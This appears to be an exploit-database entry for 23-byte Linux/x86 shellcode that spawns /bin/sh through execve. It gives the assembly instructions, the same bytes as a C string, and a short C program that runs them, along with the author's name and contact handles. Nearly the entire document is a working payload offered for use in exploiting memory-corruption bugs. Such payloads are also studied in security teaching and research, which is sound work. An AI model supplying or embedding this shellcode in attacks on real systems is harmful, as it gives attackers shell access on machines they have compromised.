Linux/x86 - execve(/bin/sh) Shellcode (23 bytes) (2)

EDB-ID:

43722

CVE:

N/A




Platform:

Linux_x86

Date:

2009-01-01


/*
    *****************************************************
    *    Linux/x86 execve /bin/sh shellcode 23 bytes    *
    *****************************************************
    *	  	  Author: Hamza Megahed		        *
    *****************************************************
    *             Twitter: @Hamza_Mega                  *
    *****************************************************
    *     blog: hamza-mega[dot]blogspot[dot]com         *
    *****************************************************
    *   E-mail: hamza[dot]megahed[at]gmail[dot]com      *
    *****************************************************
*/

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

********************************
#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}